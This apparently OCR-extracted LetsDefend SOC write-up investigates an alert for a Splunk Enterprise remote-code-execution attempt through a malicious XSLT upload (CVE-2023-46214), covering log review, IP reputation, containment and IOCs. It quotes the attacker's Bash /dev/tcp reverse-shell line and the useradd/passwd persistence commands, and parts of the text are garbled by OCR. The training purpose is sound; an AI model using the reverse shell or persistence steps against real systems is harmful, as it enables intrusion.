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Alert

Looking at the reason that triggered the alert, it was seen that an attempt was made
to upload the Malicious XSLT file, which enables RCE to run on Splunk Enterprise.
The alarm violated the SOC239 - Remote Code Execution Detected in Splunk
Enterprise rule.

| Splunk App for Lookup File Editing RCE via User XSLT

Download

First, this alert should be verified by checking the existing logs, then the source of
this traffic should be investigated and it should be confirmed whether it is legal traffic.
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Detection

Verify

The alarm was triggered as a result of trying to upload the file named "shell.xsl" on
Splunk in the request coming to the system. Below is the request that triggered the
alarm. The relevant request can be searched and confirmed on Log Management.

RequestURL: http[:]//3.133.116.124:8000ICHEUSISEN ARSIl upload/ e

indexing/preview?output_mode=json&props.NO_BINARY_CHECK=1&input.path=

As can be seen above, the relevant request came at “12:23 PM”. It was seen that the
relevant request came from the IP address “180.101.88.240” located in China. As a
result of the investigations carried out so far, it has been confirmed that there was an
attempt to upload files to the system. Therefore the corresponding alarm is True
Positive. However, in order to make a clear decision, it is necessary to examine the
content of the file being tried to be uploaded.

Relevant files have been shared for download in detail of the alarm.

File (Password:infected) : Download
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Analysis

Reputation Check

While uploading the file, the reputation of "180.101.88.240" seen in the Source IP
should be checked.

180.101.88.240 was found in our databasel

This IF was reported 12,872 times. Confidence of Abuse is 100%: 7

ISP ChinaNet Jiangsu Province Network
Usage Type Data Center/Web Hosting/Transit
Domain Name chinatelecom.com.cn

Country & China

City Suzhou, Jiangsu

P info inciuding ISP, Usage Type, and Localion provided by iP2Locaton:

Updated monthly

|IP Abuse Reports for{180.101.88.240:

This IP address has been reporied a total of 12,872 times from 85 distinct sources, 180.101.88.240 was first reported on August 17th 2023, and the most
ecent report was 3 minutes ago.

ﬁ Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actvely

engaged in abusive activilies.

Reporter loA Timestamp Comment Categories
« o Abuse Reporting 2023-11-22 09:44:33 Nov 22 09:43:23 Server-Eygelsho sshd[193982): Failed
(3 minutes ago) password for root from 180,101.88.240 port 1402 _. E3

5!’!9& more
v o Val 2023-11-22 09:41:33 MNov 22 10:41:27 dockerhost 5shd[2255944): Falled pas
(6 minutes ago) sword for root from 180.101.88.240 port 52928 55 ...

show more
L. El 2023-11-22 09:40:43 Mov 22 10:39:27 cloudd1 sshd[3150313]: Failed passwo
(6 minutes aga) rd for root from 180.101.88 240 port 10441 ssh2= .., E3D

§I’itlﬂ more
« [ devmoon de 2023-11-22 09:22:45 Nov 22 10:21:25 docker-01 sshd[799116): Failed passw
(24 minutes ago) ord for root from 180.101.88.240 port 19079 ssh2 ..

show more
+ = Abuse Reporting 2023-11-22 09:20:23 Mov 22 09:19.09 Server-Eygelsho sshd[193016]: Failed
(27 minutes ago) password for root from 180.101.88.240 port 2131 ..,

show more
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= Sirndar = % Graph g0 API

— AS 4134 [ Chinanct ) ] 3 days a5

DETECTION DETAILS RELATHONS COMMUNITY

Join the VT Community and enjay additional community insights and crowdsourced detections, plus an API key to gutomate checks.

Security vendors” analysis (T) Do you want to automate chegks T
Antiy-AVL () Maliciows BitDefender (M ¢

CROF (M) Malicious Criminal iF () ™

CrowdSec (1) Malicious CyRadar ()

t (M net )]
G-Data (1) Prishing GreenSnow (D ™
IPsum 1) Maliciows Lignic (T) Malicious
(D) Maliciows AIphaSCx

The relevant IP is located in China and belongs to the hosting companies. When
checks are made on both AbuseIPDB and Virus Total for the IP 180.101.88.240, it is
seen that the relevant IP is reported by different sources in categories such as brute
force, phishing, and hacking.

letsdefend.io {ch} LetsDefend

https://t.me/learningnets



Initial Access

Before starting the analysis, the details of the RCE that the attacker tried on the
system should be investigated. Which vulnerability on the system should the relevant
RCE arise from? If this question is understood, investigations will become easier.
There is a detail shared as a real-world example in the alert details.

Sphunk App for Lookup File Editing RCE via User XSLT

When we search for "Splunk App for Lookup File Editing RCE via User XSLT" on
Google, we come across the CVE-2023-46214 vulnerability. In the details of the
relevant vulnerability, it was shared that in vulnerable versions, attackers can upload
the malicious "XSLT" file to the target systems, which will allow remote code
execution (RCE) on the target system.

Product Version | component | Affected Version FixVersion
Splunk Enterprise | 9.0 Splunk Web | 9.0.010 9.0.6 9.0.7
Splunk Enterprise | 9.1 Splunk Web | 9.1.0t09.1.1 9.1.2
Splunk Cloud - Splunk Web | Versions below 9.1.2308 | 9.1.2308

Source: https://advisory.splunk.com/advisories/SVD-2023-1104

When a detailed POC examination was performed for the relevant vulnerability, it

was seen that the attacker needed a few prerequisites to exploit the relevant
vulnerability in the target system. The first and important prerequisite is accessibility
to the target system. So, as here, the target system must have access to
3.133.116.124 (Splunk IP) Remote or the information must have been compromised
by someone who has accessed it. For example, let access to Splunk remote be
disabled.However,remoteaccesstothesystemshouldbepossiblewithVPN.The

VPN information of the person(s) accessing here must be leaked. So here it is less
likely that the target system is open to remote. To test this, access can be attempted
via port 8000 of the relevant IP. As a result of the relevant control, access to Splunk
could not be achieved, as can be seen below.
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@ 3133116124 x  +

“ (& @[3.133.1‘-6.124:3\'3‘3 ‘en-US/account/loginTretum_to=%2Fen-U5%2F

| This site can’t be reached |

3.133.116.124 took too long to respond,

It is understood from here that access to the target system was achieved through
other means. The system was accessed with the credentials of others (3rd party
company employees), which is one of the most commonly used methods by
attackers. Thus, “Trusted Relationship(T1199)” can be said for access initial. In
addition, a second initial access technique can be called "Exploit Public-Facing
Application". Because the attacker exploited the vulnerability in Splunk to gain
access to the system.

The second important point to exploit the vulnerability is the credential information of
the user who is authorized to log in to the target system. After the attacker logs into
the target system with the Python code he will run, he leaves “shell.sh” in the
“/opt/splunk/bin/scripts/” file path. The content of the relevant file is among the files
shared in the alert details and can be viewed from there.

B e ODie 00 & =

Add Extract To Test Wiew Delete Find ‘Wizard Info VinusScan Comment SFX

+ « shellzip - ZIP archive, unpacked size 489 bytes
MName Size Packed Type Muodified CRC32
= File folder
49 79 1/21/2023 62 2140468
P shellxg) * 440 299 MSLT Stylesheet 11/21/2023 55.. D9G0ABAG

-i >& /dev/tcp/180.101.88.240/1923 0>&1sh-4.2%

The above file is apparently a Bash reverse shell command. This command is used to
create a shell on a target system and direct that shell as a reverse connection to the
specified IP address and port number. Creates a TCP connection using Bash's
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/dev/tcp feature. Creates a reverse connection with the specified IP address
(180[.]101.88.240) and port number (1923).

The analysis so far has been on files shared on alert. It is understood from these
files that the attacker intended to receive a reverse shell on the target system. These
activities should be confirmed by checking the logs in Log Management.

All traffic of IP “180[.]101.88.240” trying to upload “shell.xsl” to Splunk should be
examined. As a result of the relevant search, proxy and firewall logs are seen on Log
Management. Logs should be sorted by time and examined in detail. The first proxy log
is the log of file uploading to the system. Details can be seen below in the second proxy
log. It is seen that the attacker sent an authentication request to the system via the
8000 port, as can be seen in the username and password log.

RAW LOG

The details of the proxy log show the user and password information used by the
attacker to log in to the target system.

When all logs of the Attacker IP are examined on Log Management, it is thought that
a reverse shell connection was established as of 12:24 PM. Because a lot of Firewall
traffic is seen, with Source IP being “180.101.88.240”, source port being “1923” and
Destination IP being “18.219.80.54 (Splunk IP)”.

RAW LOG
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In the alarm details, "172.16.20.13" is seen as the destination IP. If the IP
18.219.80.54 belongs to Splunk, what is this IP? This IP is Splunk's local IP. In the
details of the proxy logs, it is seen as the client for this IP.

The relevant IP can be searched in Endpoint Security to confirm. As a result, it
appears that the relevant IP belongs to the “Splunk Enterprise” host.

= Splunk Enterprise
I — - - =

172.16.20.13

e Endpoint Security

While examining Log Management, it is necessary to search according to the
relevant local IP. Because the attacker's behavior after receiving a Reverse Shell on
the target system should also be examined. For this reason, it is expected that the
relevant logs appear on local IP.
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RAW LOG

Sowrce I 172162013
Destination IF:  1T2.16.20.13
Deestination Port: 0

Message: | session opened for user adminfuids=0) by (uid =0}

As can be seen above, when searching for IP 172.16.20.13, there are OS, DNS and
Firewall logs after the proxy logs. Continuing the analysis by time, it is seen that the
attacker logged in with “admin” at 12:24 PM. In the following OS log, it is seen that
the attacker added users to gain permanence on the system.

RAW LOG

Ussiname: | admin
Source Process Name:  bash
Target Process Name:  useradd

Target Process Command Line: | useradd -m analsyt

Add User

RAW LOG

Username;  admin
Source Process Name:  bash
Tazget Prooess Nam:  passwd

Target Progess Command Ling; [ passwd analsyt
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Password Assignment

There is no suspicious situation in the subsequent DNS and Firewall logs of the
relevant IP.

The last thing to check is the terminal history of the relevant host. The purpose here
is to detect the activities of the attacker on the target system after gaining access to
the system. For this, you must go to Endpoint Security.

{o} Processes 1 T3 Network Action 17 »_ Terminal History 14 & Browser History 17

— Splunk Enterprise
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T3 Metwerk Action 17 2_ Terminal History 14 % Browser History 1

Splunk Enterprise

Containment

The attacker's attempt to upload "shell.xsl" to the system to exploit the "CVE-2023-
46214" vulnerability on Splunk was detected in the proxy logs.

Afterwards, it was observed that the attacker received a reverse shell. Therefore, it is
recommended to isolate the system from the network. The relevant operation can be
done on Endpoint Security as follows.

Splunk Enterprise

Do you want to change the containment situation?

T3 Mevwork Action 3 = = -
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Lesson Learned

@ Productsshouldbekeptup-to-datetoavoidbeingaffectedbyvulnerabilities.

@ It is recommended not to open Splunk to Remote to avoid being affected by
vulnerabilities.

@ Accessgivento3rdpartycompaniesshouldberestricted.

@ Training should be provided periodically to increase information security
awareness among users.

@ Detection rules can be written in security products for IOCs reported with
relevant vulnerabilities.

Appendix

Initial Access Execution Persistence Lateral Movement
2 techniques 1 techniques 1 technigues 1 techniques

Exploit Public-Facing Command and Scripting VT 1| Create Account ! Local Account _
Application Interpreter i

Trusted Relationship
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Artifacts

field value
IPs e 180[.]101.88.240

files e shell.xsl
e shell.sh

users e analsyt
e admin

Host/IPs e Splunk Enterprise

e 172.16.20.12
e 3[.]133.116.124
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